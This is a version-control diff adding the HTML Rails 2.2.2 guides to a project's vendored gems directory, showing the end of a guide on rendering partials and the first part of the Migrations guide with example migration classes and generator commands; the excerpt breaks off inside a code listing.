+<div class="para"><p><tt>_product.html.erb</tt>:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">&lt;p&gt;</span></span>Product Name: &lt;%= product.name %&gt;<span style="font-weight: bold"><span style="color: #0000FF">&lt;/p&gt;</span></span>
+</tt></pre></div></div>
+<div class="para"><p>Rails determines the name of the partial to use by looking at the model name in the collection. In fact, you can even create a heterogeneous collection and render it this way, and Rails will choose the proper partial for each member of the collection:</p></div>
+<div class="para"><p><tt>index.html.erb</tt>:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">&lt;h1&gt;</span></span>Contacts<span style="font-weight: bold"><span style="color: #0000FF">&lt;/h1&gt;</span></span>
+&lt;%= render :partial =&gt; [customer1, employee1, customer2, employee2] %&gt;
+</tt></pre></div></div>
+<div class="para"><p><tt>_customer.html.erb</tt>:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">&lt;p&gt;</span></span>Name: &lt;%= customer.name %&gt;<span style="font-weight: bold"><span style="color: #0000FF">&lt;/p&gt;</span></span>
+</tt></pre></div></div>
+<div class="para"><p><tt>_employee.html.erb</tt>:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">&lt;p&gt;</span></span>Name: &lt;%= employee.name %&gt;<span style="font-weight: bold"><span style="color: #0000FF">&lt;/p&gt;</span></span>
+</tt></pre></div></div>
+<div class="para"><p>In this case, Rails will use the customer or employee partials as appropriate for each member of the collection.</p></div>
+</div>
+<h2 id="_changelog">4. Changelog</h2>
+<div class="sectionbody">
+<div class="para"><p><a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/15">Lighthouse ticket</a></p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+November 9, 2008: Added partial collection counter by <a href="../authors.html#mgunderloy">Mike Gunderloy</a>
+</p>
+</li>
+<li>
+<p>
+November 1, 2008: Added <tt>:js</tt> option for <tt>render</tt> by <a href="../authors.html#mgunderloy">Mike Gunderloy</a>
+</p>
+</li>
+<li>
+<p>
+October 16, 2008: Ready for publication by <a href="../authors.html#mgunderloy">Mike Gunderloy</a>
+</p>
+</li>
+<li>
+<p>
+October 4, 2008: Additional info on partials (<tt>:object</tt>, <tt>:as</tt>, and <tt>:spacer_template</tt>) by <a href="../authors.html#mgunderloy">Mike Gunderloy</a> (not yet approved for publication)
+</p>
+</li>
+<li>
+<p>
+September 28, 2008: First draft by <a href="../authors.html#mgunderloy">Mike Gunderloy</a> (not yet approved for publication)
+</p>
+</li>
+</ul></div>
+</div>
+
+		</div>
+	</div>
+</body>
+</html>

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/html/migrations.html
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/html/migrations.html	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/html/migrations.html	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,921 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
+<head>
+	<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+	<title>Migrations</title>
+	<!--[if lt IE 8]>
+	<script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
+	<![endif]-->
+	<link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
+	<link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
+	<link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
+	<style type="text/css">
+		div#container {
+	max-width: 900px;
+	padding-bottom: 3em;
+}
+
+div#content {
+	margin-left: 200px;
+}
+
+div#container.notoc {
+	max-width: 600px;
+}
+
+.notoc div#content {
+	margin-left: 0;
+}
+
+pre {
+	line-height: 1.4em;
+}
+
+#content p tt {
+	background: #eeeeee;
+	border: solid 1px #cccccc;
+	padding: 3px;
+}
+
+dt {
+	font-weight: bold;
+}
+
+#content dt tt {
+	font-size: 10pt;
+}
+
+dd {
+	margin-left: 3em;
+}
+
+#content dt tt, #content pre tt {
+	background: none;
+	padding: 0;
+	border: 0;
+}
+
+#content .olist ol {
+	margin-left: 2em;
+}
+
+#header {
+	position: relative;
+	max-width: 840px;
+	margin-left: auto;
+	margin-right: auto;
+}
+
+#header.notoc {
+	max-width: 580px;
+}
+
+#logo {
+	position: absolute;
+	left: 10px;
+	top: 10px;
+	width: 110px;
+	height: 140px;
+}
+
+div#header h1#site_title {
+	background: url('images/ruby_on_rails_by_mike_rundle2.gif') top left no-repeat;
+	position: absolute;
+	width: 392px;
+	height: 55px;
+	left: 145px;
+	top: 20px;
+	margin: 0;
+	padding: 0;
+}
+
+#site_title span {
+	display: none;
+}
+
+#site_title_tagline {
+	display: none;
+}
+
+ul#navMain {
+	position: absolute;
+	margin: 0;
+	padding: 0;
+	top: 97px;
+	left: 145px;
+}
+
+.left-floaty, .right-floaty {
+	padding: 15px;
+}
+
+.admonitionblock,
+.tableblock {
+	margin-left: 1em;
+	margin-right: 1em;
+	margin-top: 0.25em;
+	margin-bottom: 1em;
+}
+
+.admonitionblock .icon {
+	padding-right: 8px;
+}
+
+.admonitionblock .content {
+	border: solid 1px #ffda78;
+	background: #fffebd;
+	padding: 10px;
+	padding-top: 8px;
+	padding-bottom: 8px;
+}
+
+.admonitionblock .title {
+	font-size: 140%;
+	margin-bottom: 0.5em;
+}
+
+.tableblock table {
+	border: solid 1px #aaaaff;
+	background: #f0f0ff;
+}
+
+.tableblock th {
+	background: #e0e0e0;
+}
+
+.tableblock th,
+.tableblock td {
+	padding: 3px;
+	padding-left: 5px;
+	padding-right: 5px;
+}
+
+.sidebarblock {
+	margin-top: 0.25em;
+	margin: 1em;
+	border: solid 1px #ccccbb;
+	padding: 8px;
+	background: #ffffe0;
+}
+
+.sidebarblock .sidebar-title {
+	font-size: 140%;
+	font-weight: 600;
+	margin-bottom: 0.3em;
+}
+
+.sidebarblock .sidebar-content > .para:last-child > p {
+	margin-bottom: 0;
+}
+
+.sidebarblock .sidebar-title a {
+	text-decoration: none;
+}
+
+.sidebarblock .sidebar-title a:hover {
+	text-decoration: underline;
+}
+
+	</style>
+</head>
+<body>
+	<div id="header" >
+		<div id="logo">
+			<a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
+		</div>
+		
+		<h1 id="site_title"><span>Ruby on Rails</span></h1>
+		<h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
+
+		<ul id="navMain">
+			<li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
+			<li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
+		</ul>
+	</div>
+
+	<div id="container">
+		
+		<div id="sidebar">
+			<h2>Chapters</h2>
+			<ol>
+					<li>
+					<a href="#_anatomy_of_a_migration">Anatomy Of A Migration</a>
+						<ul>
+						
+							<li><a href="#_migrations_are_classes">Migrations are classes</a></li>
+						
+							<li><a href="#_what_s_in_a_name">What's in a name</a></li>
+						
+							<li><a href="#_changing_migrations">Changing migrations</a></li>
+						
+						</ul>
+					</li>
+					<li>
+					<a href="#_creating_a_migration">Creating A Migration</a>
+						<ul>
+						
+							<li><a href="#_creating_a_model">Creating a model</a></li>
+						
+							<li><a href="#_creating_a_standalone_migration">Creating a standalone migration</a></li>
+						
+						</ul>
+					</li>
+					<li>
+					<a href="#_writing_a_migration">Writing a Migration</a>
+						<ul>
+						
+							<li><a href="#_creating_a_table">Creating a table</a></li>
+						
+							<li><a href="#_changing_tables">Changing tables</a></li>
+						
+							<li><a href="#_special_helpers">Special helpers</a></li>
+						
+							<li><a href="#_writing_your_down_method">Writing your down method</a></li>
+						
+						</ul>
+					</li>
+					<li>
+					<a href="#_running_migrations">Running Migrations</a>
+						<ul>
+						
+							<li><a href="#_rolling_back">Rolling back</a></li>
+						
+							<li><a href="#_being_specific">Being Specific</a></li>
+						
+							<li><a href="#_being_talkative">Being talkative</a></li>
+						
+						</ul>
+					</li>
+					<li>
+					<a href="#models">Using Models In Your Migrations</a>
+						<ul>
+						
+							<li><a href="#_dealing_with_changing_models">Dealing with changing models</a></li>
+						
+						</ul>
+					</li>
+					<li>
+					<a href="#_schema_dumping_and_you">Schema dumping and you</a>
+						<ul>
+						
+							<li><a href="#schema">What are schema files for?</a></li>
+						
+							<li><a href="#_types_of_schema_dumps">Types of schema dumps</a></li>
+						
+							<li><a href="#_schema_dumps_and_source_control">Schema dumps and source control</a></li>
+						
+						</ul>
+					</li>
+					<li>
+					<a href="#foreign_key">Active Record and Referential Integrity</a>
+					</li>
+					<li>
+					<a href="#_changelog">Changelog</a>
+					</li>
+			</ol>
+		</div>
+		
+		<div id="content">
+				<h1>Migrations</h1>
+			<div id="preamble">
+<div class="sectionbody">
+<div class="para"><p>Migrations are a convenient way for you to alter your database in a structured and organised manner. You could edit fragments of SQL by hand but you would then be responsible for telling other developers that they need to go and run it. You'd also have to keep track of which changes need to be run against the production machines next time you deploy. Active Record tracks which migrations have already been run so all you have to do is update your source and run <tt>rake db:migrate</tt>. Active Record will work out which migrations should be run.</p></div>
+<div class="para"><p>Migrations also allow you to describe these transformations using Ruby. The great thing about this is that (like most of Active Record's functionality) it is database independent: you don't need to worry about the precise syntax of CREATE TABLE any more that you worry about variations on SELECT * (you can drop down to raw SQL for database specific features). For example you could use SQLite3 in development, but MySQL in production.</p></div>
+<div class="para"><p>You'll learn all about migrations including:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+The generators you can use to create them
+</p>
+</li>
+<li>
+<p>
+The methods Active Record provides to manipulate your database
+</p>
+</li>
+<li>
+<p>
+The Rake tasks that manipulate them
+</p>
+</li>
+<li>
+<p>
+How they relate to <tt>schema.rb</tt>
+</p>
+</li>
+</ul></div>
+</div>
+</div>
+<h2 id="_anatomy_of_a_migration">1. Anatomy Of A Migration</h2>
+<div class="sectionbody">
+<div class="para"><p>Before I dive into the details of a migration, here are a few examples of the sorts of things you can do:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> CreateProducts <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Migration
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>up
+    create_table <span style="color: #990000">:</span>products <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
+      t<span style="color: #990000">.</span>string <span style="color: #990000">:</span>name
+      t<span style="color: #990000">.</span>text <span style="color: #990000">:</span>description
+
+      t<span style="color: #990000">.</span>timestamps
+    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
+    drop_table <span style="color: #990000">:</span>products
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>This migration adds a table called <tt>products</tt> with a string column called <tt>name</tt> and a text column called <tt>description</tt>. A primary key column called <tt>id</tt> will also be added, however since this is the default we do not need to ask for this. The timestamp columns <tt>created_at</tt> and <tt>updated_at</tt> which Active Record populates automatically will also be added. Reversing this migration is as simple as dropping the table.</p></div>
+<div class="para"><p>Migrations are not limited to changing the schema. You can also use them to fix bad data in the database or populate new fields:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> AddReceiveNewsletterToUsers <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Migration
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>up
+    change_table <span style="color: #990000">:</span>users <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
+      t<span style="color: #990000">.</span>boolean <span style="color: #990000">:</span>receive_newsletter<span style="color: #990000">,</span> <span style="color: #990000">:</span>default <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">false</span></span>
+    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+    User<span style="color: #990000">.</span>update_all <span style="color: #990000">[</span><span style="color: #FF0000">"receive_newsletter = ?"</span><span style="color: #990000">,</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span><span style="color: #990000">]</span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
+    remove_column <span style="color: #990000">:</span>users<span style="color: #990000">,</span> <span style="color: #990000">:</span>receive_newsletter
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>This migration adds an <tt>receive_newsletter</tt> column to the <tt>users</tt> table. We want it to default to <tt>false</tt> for new users, but existing users are considered
+to have already opted in, so we use the User model to set the flag to <tt>true</tt> for existing users.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/note.png" alt="Note" />
+</td>
+<td class="content">Some <a href="#models">caveats</a> apply to using models in your migrations.</td>
+</tr></table>
+</div>
+<h3 id="_migrations_are_classes">1.1. Migrations are classes</h3>
+<div class="para"><p>A migration is a subclass of ActiveRecord::Migration that implements two class methods: <tt>up</tt> (perform the required transformations) and <tt>down</tt> (revert them).</p></div>
+<div class="para"><p>Active Record provides methods that perform common data definition tasks in a database independent way (you'll read about them in detail later):</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+<tt>create_table</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>change_table</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>drop_table</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>add_column</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>remove_column</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>change_column</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>rename_column</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>add_index</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>remove_index</tt>
+</p>
+</li>
+</ul></div>
+<div class="para"><p>If you need to perform tasks specific to your database (for example create a <a href="#foreign_key">foreign key</a> constraint) then the <tt>execute</tt> function allows you to execute arbitrary SQL. A migration is just a regular Ruby class so you're not limited to these functions. For example after adding a column you could
+write code to set the value of that column for existing records (if necessary using your models).</p></div>
+<div class="para"><p>On databases that support transactions with statements that change the schema (such as PostgreSQL), migrations are wrapped in a transaction. If the database does not support this (for example MySQL and SQLite) then when a migration fails the parts of it that succeeded will not be rolled back. You will have to unpick the changes that were made by hand.</p></div>
+<h3 id="_what_s_in_a_name">1.2. What's in a name</h3>
+<div class="para"><p>Migrations are stored in files in <tt>db/migrate</tt>, one for each migration class. The name of the file is of the form <tt>YYYYMMDDHHMMSS_create_products.rb</tt>, that is to say a UTC timestamp identifying the migration followed by an underscore followed by the name of the migration. The migration class' name must match (the camelcased version of) the latter part of the file name. For example <tt>20080906120000_create_products.rb</tt> should define CreateProducts and <tt>20080906120001_add_details_to_products.rb</tt> should define AddDetailsToProducts. If you do feel the need to change the file name then you MUST update the name of the class inside or Rails will complain about a missing class.</p></div>
+<div class="para"><p>Internally Rails only uses the migration's number (the timestamp) to identify them. Prior to Rails 2.1 the migration number started at 1 and was incremented each time a migration was generated. With multiple developers it was easy for these to clash requiring you to rollback migrations and renumber them. With Rails 2.1 this is largely avoided by using the creation time of the migration to identify them. You can revert to the old numbering scheme by setting <tt>config.active_record.timestamped_migrations</tt> to <tt>false</tt> in <tt>environment.rb</tt>.</p></div>
+<div class="para"><p>The combination of timestamps and recording which migrations have been run allows Rails to handle common situations that occur with multiple developers.</p></div>
+<div class="para"><p>For example Alice adds migrations <tt>20080906120000</tt> and <tt>20080906123000</tt> and Bob adds <tt>20080906124500</tt> and runs it. Alice finishes her changes and checks in her migrations and Bob pulls down the latest changes. Rails knows that it has not run Alice's two migrations so <tt>rake db:migrate</tt> would run them (even though Bob's migration with a later timestamp has been run), and similarly migrating down would not run their down methods.</p></div>
+<div class="para"><p>Of course this is no substitution for communication within the team, for example if Alice's migration removed a table that Bob's migration assumed the existence of then trouble will still occur.</p></div>
+<h3 id="_changing_migrations">1.3. Changing migrations</h3>
+<div class="para"><p>Occasionally you will make a mistake while writing a migration. If you have already run the migration then you cannot just edit the migration and run the migration again: Rails thinks it has already run the migration and so will do nothing when you run <tt>rake db:migrate</tt>. You must rollback the migration (for example with <tt>rake db:rollback</tt>), edit your migration and then run <tt>rake db:migrate</tt> to run the corrected version.</p></div>
+<div class="para"><p>In general editing existing migrations is not a good idea: you will be creating extra work for yourself and your co-workers and cause major headaches if the existing version of the migration has already been run on production machines. Instead you should write a new migration that performs the changes you require. Editing a freshly generated migration that has not yet been committed to source control (or more generally which has not been propagated beyond your development machine) is relatively harmless. Just use some common sense.</p></div>
+</div>
+<h2 id="_creating_a_migration">2. Creating A Migration</h2>
+<div class="sectionbody">
+<h3 id="_creating_a_model">2.1. Creating a model</h3>
+<div class="para"><p>The model and scaffold generators will create migrations appropriate for adding a new model. This migration will already contain instructions for creating the relevant table. If you tell Rails what columns you want then statements for adding those will also be created. For example, running</p></div>
+<div class="para"><p><tt>ruby script/generate model Product name:string description:text</tt> will create a migration that looks like this</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> CreateProducts <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Migration
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>up
+    create_table <span style="color: #990000">:</span>products <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
+      t<span style="color: #990000">.</span>string <span style="color: #990000">:</span>name
+      t<span style="color: #990000">.</span>text <span style="color: #990000">:</span>description
+
+      t<span style="color: #990000">.</span>timestamps
+    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
+    drop_table <span style="color: #990000">:</span>products
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>You can append as many column name/type pairs as you want. By default <tt>t.timestamps</tt> (which creates the <tt>updated_at</tt> and <tt>created_at</tt> columns that
+are automatically populated by Active Record) will be added for you.</p></div>
+<h3 id="_creating_a_standalone_migration">2.2. Creating a standalone migration</h3>
+<div class="para"><p>If you are creating migrations for other purposes (for example to add a column to an existing table) then you can use the migration generator:</p></div>
+<div class="para"><p><tt>ruby script/generate migration AddPartNumberToProducts</tt></p></div>
+<div class="para"><p>This will create an empty but appropriately named migration:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> AddPartNumberToProducts <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Migration
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>up
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>If the migration name is of the form AddXXXToYYY or RemoveXXXFromY and is followed by a list of column names and types then a migration containing
+the appropriate add and remove column statements will be created.</p></div>
+<div class="para"><p><tt>ruby script/generate migration AddPartNumberToProducts part_number:string</tt></p></div>
+<div class="para"><p>will generate</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> AddPartNumberToProducts <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Migration
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>up
+    add_column <span style="color: #990000">:</span>products<span style="color: #990000">,</span> <span style="color: #990000">:</span>part_number<span style="color: #990000">,</span> <span style="color: #990000">:</span>string
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
+    remove_column <span style="color: #990000">:</span>products<span style="color: #990000">,</span> <span style="color: #990000">:</span>part_number
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>Similarly,</p></div>
+<div class="para"><p><tt>ruby script/generate migration RemovePartNumberFromProducts part_number:string</tt></p></div>
+<div class="para"><p>generates</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> RemovePartNumberFromProducts <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Migration
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>up
+    remove_column <span style="color: #990000">:</span>products<span style="color: #990000">,</span> <span style="color: #990000">:</span>part_number
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
+    add_column <span style="color: #990000">:</span>products<span style="color: #990000">,</span> <span style="color: #990000">:</span>part_number<span style="color: #990000">,</span> <span style="color: #990000">:</span>string
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>You are not limited to one magically generated column, for example</p></div>
+<div class="para"><p><tt>ruby script/generate migration AddDetailsToProducts part_number:string price:decimal</tt></p></div>
+<div class="para"><p>generates</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> AddDetailsToProducts <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Migration
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>up
+    add_column <span style="color: #990000">:</span>products<span style="color: #990000">,</span> <span style="color: #990000">:</span>part_number<span style="color: #990000">,</span> <span style="color: #990000">:</span>string
+    add_column <span style="color: #990000">:</span>products<span style="color: #990000">,</span> <span style="color: #990000">:</span>price<span style="color: #990000">,</span> <span style="color: #990000">:</span>decimal
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
+    remove_column <span style="color: #990000">:</span>products<span style="color: #990000">,</span> <span style="color: #990000">:</span>price
+    remove_column <span style="color: #990000">:</span>products<span style="color: #990000">,</span> <span style="color: #990000">:</span>part_number
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>As always, what has been generated for you is just a starting point. You can add or remove from it as you see fit.</p></div>
+</div>
+<h2 id="_writing_a_migration">3. Writing a Migration</h2>
+<div class="sectionbody">
+<div class="para"><p>Once you have created your migration using one of the generators it's time to get to work!</p></div>
+<h3 id="_creating_a_table">3.1. Creating a table</h3>
+<div class="para"><p><tt>create_table</tt> will be one of your workhorses. A typical use would be</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>create_table <span style="color: #990000">:</span>products <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
+  t<span style="color: #990000">.</span>string <span style="color: #990000">:</span>name
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>which creates a <tt>products</tt> table with a column called <tt>name</tt> (and as discussed below, an implicit <tt>id</tt> column).</p></div>
+<div class="para"><p>The object yielded to the block allows you create columns on the table. There are two ways of doing this. The first looks like</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>create_table <span style="color: #990000">:</span>products <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
+  t<span style="color: #990000">.</span>column <span style="color: #990000">:</span>name<span style="color: #990000">,</span> <span style="color: #990000">:</span>string<span style="color: #990000">,</span> <span style="color: #990000">:</span>null <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">false</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>the second form, the so called "sexy" migrations, drops the somewhat redundant column method. Instead, the <tt>string</tt>, <tt>integer</tt> etc. methods create a column of that type. Subsequent parameters are identical.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>create_table <span style="color: #990000">:</span>products <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
+  t<span style="color: #990000">.</span>string <span style="color: #990000">:</span>name<span style="color: #990000">,</span> <span style="color: #990000">:</span>null <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">false</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>By default <tt>create_table</tt> will create a primary key called <tt>id</tt>. You can change the name of the primary key with the <tt>:primary_key</tt> option (don't forget to update the corresponding model) or if you don't want a primary key at all (for example for a HABTM join table) you can pass <tt>:id &#8658; false</tt>. If you need to pass database specific options you can place an sql fragment in the <tt>:options</tt> option. For example</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>create_table <span style="color: #990000">:</span>products<span style="color: #990000">,</span> <span style="color: #990000">:</span>options <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"ENGINE=BLACKHOLE"</span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
